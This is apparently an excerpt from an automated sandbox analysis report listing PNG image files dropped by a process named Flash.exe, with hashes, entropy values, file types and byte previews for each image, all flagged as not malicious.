Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:BDFDF6F3FCB411EAAA62C9A72EA3CF5E" xmpMM:DocumentID="xmp.did:BDFDF6F4FCB411EAAA62C9A72EA3CF5E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BDFDF6F1FCB411EAAA62C9A72EA3CF5E" stRef:documentID="xmp.did:BDFDF6F2FCB411EAAA62C9A72EA3CF5E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..2NIDATx.....w}.........,.....Il...$."...p..W.....Vx..K.J..$..MM...(4i.(..S.......*.0F...$.$.t...L.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-e1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11011
Entropy (8bit):	7.859997746326118
Encrypted:	false
SSDEEP:	192:O34Yy1VxauDr55r5ed2AMYAcYxiX1Iguc1/ishjq7T10:44YofDr5147iirucxN1s10
MD5:	51D73197A150E6025A22AAAB1660B10B
SHA1:	ED96B001A54AAE9EDD9D496D06A4D1D95326A9ED
SHA-256:	0CC2D82CFBBB9467BB6FF24D2C09D94DCA19E633111C38D43A73AD3DC0A1A116
SHA-512:	94D47D7EEFC20DF1B12B77FE6366909DA2EEDEEC51255DF4927C05B3CDF0E7E3DAFFFCE0F2D1A4CD53D87C9A4A1105939B82C43C62DE9D038A4CD48F17D00070
Malicious:	false
Preview:	.PNG........IHDR....................(PLTE...@........D..7..B..8..A..9..G..G..E..F..>..7..5..A..E..G..F..<..M..C..=..L..J..4..L..;..4..A..3..A..I..J..J..J..H..F..M..M..N..K..;..3..K..>..2..>..=..8..<..F..;..E..F../..I..;..X..I..G..D.....G..0..D..9..GGG...E..FFF...SSSL..2.....E..HHHm..O..D..D..E..G..F..E..G..J..A.....G.....^..FFF<..S..I..LLL...G..0..C..H..E.....;..E..D..9..=........A..```@..HHH;..GGG...KKK7..E..?..GGGHHHIII4..;..>........NNN...A.....1..4..X..4..F..3..1..2..2..C..9..2..3..6.....7..K..G..E..1........8..M..<........q..0..1.....9..g..X..Q.....O..F..C..D..>..@../..0..M..FFF....]a#....tRNS..........JPD#.....MG.o..jg.l.....Uca_S.qtu...d......'.A%.....!3...=..@.y%..8...,*5OFBR......5.FF...:%.0...h.9..y.WJ...hc,#.W5.~5.Z Qvl....3ysF.?......9.\.....R.................'.IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU..:....a..-.!.f..d...Q.................................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-t0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15624
Entropy (8bit):	7.822146935682892
Encrypted:	false
SSDEEP:	384:/yqutytsIby+KywLmMBv/0d/86SYTtU782gQpHx:aqutGsIMKMBkdEATty8e
MD5:	3CAE4BC4629D49308F549627BE16FB7F
SHA1:	E8833AAD83215F934918E3630530E96B84149B30
SHA-256:	4580241D9E33B8E6D5095812506F2B22BBCDCD7B2258B2DF9BC36F56F61E0346
SHA-512:	B4908905A851D75445BA2DFE36A9A60A56F51BD2E70893CB4EA2054E61470366B574E7F5E176AE5DA4DB66B2C33F0EB8BA3D2267C8366E52CF754839A02DE935
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:6F577CB202E511EBBD70C979B2D35D2D" xmpMM:DocumentID="xmp.did:6F577CB302E511EBBD70C979B2D35D2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F577CB002E511EBBD70C979B2D35D2D" stRef:documentID="xmp.did:6F577CB102E511EBBD70C979B2D35D2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....9xIDATx....\YY..[U...3Igf.L.~...;.f4........-....%:.QVH.<...5a.qQ..,...Q.V.e.....gd....<=23d2...$....{..s.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-t1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11787
Entropy (8bit):	7.862943873970848
Encrypted:	false
SSDEEP:	192:fPerM3565qWMQ7oi9oeP4a65oxHaSCzC7JbW79P52ezEpUPu+3:fP356Iu7XP6EIW9bWP2ezEIn3
MD5:	3CF28B4748083B18CBD8AEA0DA8711D2
SHA1:	D7816D36C101D3A166BBA15C14721A5C11956B40
SHA-256:	FE42E2CCA16CFFFBBDF004E6CC1F3ED22A88E6520AEE4903178DF71C31397C08
SHA-512:	536480053B4A50B2D528EC84ECA2A557F9C4CC408E015C5771F74FD4219373436BB4F7911AD371CC21112943C654582F12DB0691E312D327C833647243068BC7
Malicious:	false
Preview:	.PNG........IHDR....................(PLTE......B..@..>..7..D..A..F..;..=..<..G..F..J..N..8..8..A..E..9..G..G..F..:..F..A..5..M..M..J..4..L..K..=..@..I..G..J..J..H..D..K..E.....9..B..L..5..1..3..7..3..>..;..E..8..2..I..J......../..G..4..SSS......G.....V.....3..GGGE..E..A..FFFD........H..D..L..E..0..m..E..D..H..E..G....._..S..;..HHHIIILLL/..N..E..E..D..D..HHH9..I..=..C..FFF6..C.....A..R..@.....```GGG...4..2..1..GGGKKK4.....3..HHH1..;..2........X..1..>..A..7..NNNA..g..>..9..F..G..D..8..o..W.....E..9..M.....=..<........F..G.....E........9..N..L..G..F.....H..0..C..0..J..K..>..@..0..L..FFF...........tRNS........F...P#cu.....LI&....orf.ki..UNa_SC.....m.......A........%.y!....9@..3%F.=.5..1+.BRh.5.hF..;(.-y....J..9......`...WTWk..,u.5 .$.A5...3 ..9...x..\...o...S...............*.IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU..:(.....Ve.?. ..".c'.................................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\bg.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 626 x 383, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2170
Entropy (8bit):	5.631903731768735
Encrypted:	false
SSDEEP:	24:G1hiyWwjx82lY2T37VnUgUqyJ3VuAGALOhFyvrBWW/Qup:MuNn2vagKJ3Tk2Qe
MD5:	8767ABA641114595871FC06987333806
SHA1:	4B03CF9FCDBF98C8EC61C0FA25FCD78611C1D25C
SHA-256:	5995056E3A871C1C0E5C060B4A74C07D4F35DA5D45C4A391EAC5AD59303A8F38
SHA-512:	C5B1109661B79F5F7E1A36239B988EA4C50BC8F7176783395284ED9B90EFEE15DE7CFA7B3B6CFCCC75291BF93955915F7DF90DEB11F02EB6554C1A68ACC5CDBF
Malicious:	false
Preview:	.PNG........IHDR...r.........B:......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1FDD91405FEE11E89A5EA121320A8788" xmpMM:DocumentID="xmp.did:1FDD91415FEE11E89A5EA121320A8788"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1FDD913E5FEE11E89A5EA121320A8788" stRef:documentID="xmp.did:1FDD913F5FEE11E89A5EA121320A8788"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.S......IDATx...1.. ....'......'i......I...._>Z....`....!.....R...........0..............................*. ..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\bg10.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	71407
Entropy (8bit):	7.993307601745864
Encrypted:	true
SSDEEP:	1536:8oq4ttUrr1Vh8W9hFCyyh6wj4ECkRjGIgpi7D86KLhdsHx:l6RHvCys7z9E/HLkR
MD5:	E3946A571AF4A30E690E03DAC9830A7F
SHA1:	B8CBD56EAFF8E3F8E978DEA89AC29F5243460FFC
SHA-256:	A937333DFF9E1D616C23D98753BD875976F7DA87B70E3569ABDF31D6C5654E1A
SHA-512:	F2099AAB89D3691DE3ED33D65603B38C51BEC414AD7220F211A781A8DA513EA691058E1782AF52B29FBD19BB77B891A26BC93EB9BB23CBF85FE97DC1D6EC78DC
Malicious:	false
Preview:	.PNG........IHDR...l..........O......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0F042A03FCA111EA9B62C1697FFF9666" xmpMM:DocumentID="xmp.did:0F042A04FCA111EA9B62C1697FFF9666"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0F042A01FCA111EA9B62C1697FFF9666" stRef:documentID="xmp.did:0F042A02FCA111EA9B62C1697FFF9666"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G......_IDATx..w..H.%...2.2Uee..........q.....iQ2.R.....9..pa. .....d...w{f.....X.!@..!........c.........A

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\bg11.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 800, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	168876
Entropy (8bit):	7.993549595752357
Encrypted:	true
SSDEEP:	3072:SbRZxaBJlWh7NuUGhrvT8BHEhVAAilsJ26JfKtmhceuDtJtxQJiQnitTUyGW:SYXWJAnB78lETAzEC81IJ8E8yVGW
MD5:	5411A9AA51164A5123B8C139C5F4D645
SHA1:	3AE6A3FD432E5B8F78B81081A4BE0984EFB437DA
SHA-256:	4446B5C35BC0FBFC4EC798FFA44D8FF186B3271F795C484199CBD8F6F6E62EF6
SHA-512:	A0EB8DC38E3EF9EFE094879C14C354F92AA64B09188CC2A2BE77CDCAE6EBB66E83625670CEB0CF3B12AEA27C0A1F229DDA66ADE755FE5EB15A3A66A3A98D5A96
Malicious:	false
Preview:	.PNG........IHDR....... .....~.H.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F6CA38CF0DE411EB8301DDBEFE6E37B1" xmpMM:DocumentID="xmp.did:F6CA38D00DE411EB8301DDBEFE6E37B1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F6CA38CD0DE411EB8301DDBEFE6E37B1" stRef:documentID="xmp.did:F6CA38CE0DE411EB8301DDBEFE6E37B1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{.z....IDATx..g..8.....\]..j;3......?.{.=3..e......2%.p...nnO..".@ .oX.?7..A@A...?.l.g....c....]....>..~..J(

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\bg20.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	33510
Entropy (8bit):	7.988475571446688
Encrypted:	false
SSDEEP:	768:xttppiUpxE46GHzB7+si2tpoasLpuQ6oC43nBk:x7X5zcsi2tpoBLpj243nBk
MD5:	120F507485759A3E7777EA22237CF3FE
SHA1:	396B45F4725F29B81CBAFC6597D65702F7294E21
SHA-256:	563AF91445C099860A49822118E4280E465D9A78FFF7FD770EA60E59DD149667
SHA-512:	152B45108C4AD9D4D10E8032DD6C7C3D8605C8B14CE4B2974F0D71BD1C9A1B3261F74DE98890079C9B3968D82BE3EBC1BA4D526536A036B1D2F34D8B66E08EB3
Malicious:	false
Preview:	.PNG........IHDR...l..........O......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0E8B5511FCA111EA96A1E200B42BAD84" xmpMM:DocumentID="xmp.did:0E8B5512FCA111EA96A1E200B42BAD84"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0E8B550FFCA111EA96A1E200B42BAD84" stRef:documentID="xmp.did:0E8B5510FCA111EA96A1E200B42BAD84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.1...VIDATx.....q%.....K.w........$[.LwU.[.L2A..x. ...rMU&...8q.....S.\..@.>.x.~.~.....aL.y.@...?.......#...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\bg21.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 800, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	76087
Entropy (8bit):	7.987251878558831
Encrypted:	false
SSDEEP:	1536:dobc6N/MxePloooukLP/JPPRbpr3FaqPalYkNMW1Fb:do465F5oJJPP3ToqilYyMWjb
MD5:	F419E6117D6009F9C7C2E095E142062E
SHA1:	A009D56A94615076CF4B8AE4977B2D1406F88A52
SHA-256:	9B1E3F52E0E7A1F2E601F382F071F815B8327ACEB4ABE273A6265AC9057E2358
SHA-512:	261F24526C470FEA936CFF6B3FA5D15DE5EF8DBB645C9EE2B245740702D192CEFA15661034F5FAA3F794F71285E04687D556AC7539B5E6475302159ECE00B306
Malicious:	false
Preview:	.PNG........IHDR....... .....~.H.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F627B5540DE411EBBAE4C00EDC2C7136" xmpMM:DocumentID="xmp.did:F627B5550DE411EBBAE4C00EDC2C7136"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F627B5520DE411EBBAE4C00EDC2C7136" stRef:documentID="xmp.did:F627B5530DE411EBBAE4C00EDC2C7136"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..1..%.IDATx............~.U'..iY2%. 8...u.T.L[........{.o.Tg..8......O.......+x.n.u.6.uM.......N?..........\

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_disable_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 170 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	6.297873578783142
Encrypted:	false
SSDEEP:	24:h1hNo7FCWwjx82lY2T36VObXBhwX5yJ3VaXspqX2GERER/6:Pzo7FDNn2mcDnEYJ3Ep2tm/6
MD5:	FADFBBA809A495872B3BB398FC7E58F6
SHA1:	F8BF6E9F719699A7E00B504E9A099CAF5808DBBA
SHA-256:	1276A7823425A8DCC380766D30410869D3E3035C623975ACA58319AA8561572B
SHA-512:	0E352C31CE8B05769B1B7A62B062A1F9F2FFDEE204D1641203EEA2185BA8F0F74BF634D78BD180A96E5DB9640A276A3C185C4467AB17E01755B25500E9E43480
Malicious:	false
Preview:	.PNG........IHDR.......(......l......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0A4945EDA43E11E88E84C9AA321D932E" xmpMM:DocumentID="xmp.did:0A4945EEA43E11E88E84C9AA321D932E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0A4945EBA43E11E88E84C9AA321D932E" stRef:documentID="xmp.did:0A4945ECA43E11E88E84C9AA321D932E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.e.L....IDATx..... .DQu....:...l.}?1.......B*..{.i..........r..t.........GV.k-.gR....g?.,..~...t?.0../~..~dv.a

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_disable_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 340 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	6.566217448495462
Encrypted:	false
SSDEEP:	24:cx1hNo7FCWwjx82lY2T36V2aVyJ3VHzGyqlVcTPtU0UnY4DW:izo7FDNn2moJ3BNqPyfUG
MD5:	B7674F79FB1FB3107C2ADB2E0381E21E
SHA1:	9C4D1524409CF6F3016ACF5F998DC6722D5D9147
SHA-256:	E2E3B862462B489509B278C804DF61CC1C95AAFAE3B319B7A5E6F261E1E298B1
SHA-512:	B7F8EEADDBD6E9932CC2D876CA495EE582A2CB2A0935A0FF10214C4CADAAA9B55B75B68831B56011003DA2B4288187BC5A4BB40B525E3E4F6C9C845530B94F22
Malicious:	false
Preview:	.PNG........IHDR...T...P........@....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:08E0B27AA43E11E8B007C42BA2688B8C" xmpMM:DocumentID="xmp.did:08E0B27BA43E11E8B007C42BA2688B8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:08E0B278A43E11E8B007C42BA2688B8C" stRef:documentID="xmp.did:08E0B279A43E11E8B007C42BA2688B8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>._K....8IDATx.....0..@.P.2......(0K0og..R..........Z..$...g..]@.../..?.x...E....%..?.............NL~..j?...!..G.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 170 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	6.6815017448368375
Encrypted:	false
SSDEEP:	24:h1hNo7FCWwjx82lY2T36V/OIyJ3VkGlGSLW5kBpbqb5QC:Pzo7FDNn2mALJ3xl/W5upbqdQC
MD5:	9580290C723FE9CA7F2998BF35830D59
SHA1:	5A34E824672B641A161958D64C6F7A340CD5EDD4
SHA-256:	CE0C52737EF2135238E448B1F901678D884B8CA336073508F5E59A788DF19C3B
SHA-512:	B5FA8D1FD8024D5CBB879F4D6E0144746B2C2CB5A5FB485219A0CF02DF30B88E3F6CF62A81BCC171339E14AB974E940B54CBAFDF38B5BF1418C337880768AAB6
Malicious:	false
Preview:	.PNG........IHDR.......(......l......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0B013467A43E11E888ECD7C575D24B76" xmpMM:DocumentID="xmp.did:0B013468A43E11E888ECD7C575D24B76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0B013465A43E11E888ECD7C575D24B76" stRef:documentID="xmp.did:0B013466A43E11E888ECD7C575D24B76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.S.....(IDATx....@........P!uQ.......].Wp.;......sX..F.....`....F.X...o.s>.........o....."..?.........j...i..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 340 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	6.985449099775415
Encrypted:	false
SSDEEP:	24:cx1hNo7FCWwjx82lY2T36VnAyJ3VIOGlHRRPMtEUNAqPnSInFGtpwi4K:izo7FDNn2mFJ3rMHRRPiFNAqvScwjwbK
MD5:	449B5618BE7580C9390C11F298CE2878
SHA1:	B1A5B7D4D9E8605D71EE0349425FE9DF6431E1D0
SHA-256:	09C748407D81A92F221C317A5F537261C4EEB0B30268E09CC5BA6B9404D1EFD1
SHA-512:	5F68A4E03834866107D9F9BDA7AC6DD70B39C798051865B27A2474ED29283B206E835EF420C1142DC13E33C604D4FA5AA7965607955224A4B4B67D5E8EC8EDF0
Malicious:	false
Preview:	.PNG........IHDR...T...P........@....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0996A8B9A43E11E8B7C286DA8D290218" xmpMM:DocumentID="xmp.did:0996A8BAA43E11E8B7C286DA8D290218"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0996A8B7A43E11E8B7C286DA8D290218" stRef:documentID="xmp.did:0996A8B8A43E11E8B7C286DA8D290218"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Z.....)IDATx...1..@...rJ.@.'.\....=...d...... UU.w..O.~....G.M.......^<......Q.....O.2.........V....K.o.....$.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 170 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	6.513461633420163
Encrypted:	false
SSDEEP:	24:h1hNo7FCWwjx82lY2T36V4xiQxsyJ3VGx3qx1G61nWVqZByWU:Pzo7FDNn2mEX/J3qE19JFyWU
MD5:	E80DC2718FE9F4F9A9E3B927449EDDE1
SHA1:	05DEC71C5F020E1DDD0DF4E00202401F363B0ACA
SHA-256:	847E39A39B72C89668884C553A8D3DCB37F54212FA15EE4A341A8574B97ED2BE
SHA-512:	F5A5DD9C2691507B6F0F8B8B365A9C2D4E84D8D8A27B837DE2DC83CA8A310DB8122291610B154785DB7971BCCF07D06A37B06DB52D9EF00ECB9E5635910847E2
Malicious:	false
Preview:	.PNG........IHDR.......(......l......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0B5FEE83A43E11E8A17EF56FC6D6F6C8" xmpMM:DocumentID="xmp.did:0B5FEE84A43E11E8A17EF56FC6D6F6C8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0B5FEE81A43E11E8A17EF56FC6D6F6C8" stRef:documentID="xmp.did:0B5FEE82A43E11E8A17EF56FC6D6F6C8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u......IDATx...B1..?.5.44.+k1.4...I.c...u.#%9<.......q....K.9..8S.)...*...[....G...'..K?..c...W.H?..D.NV.+?

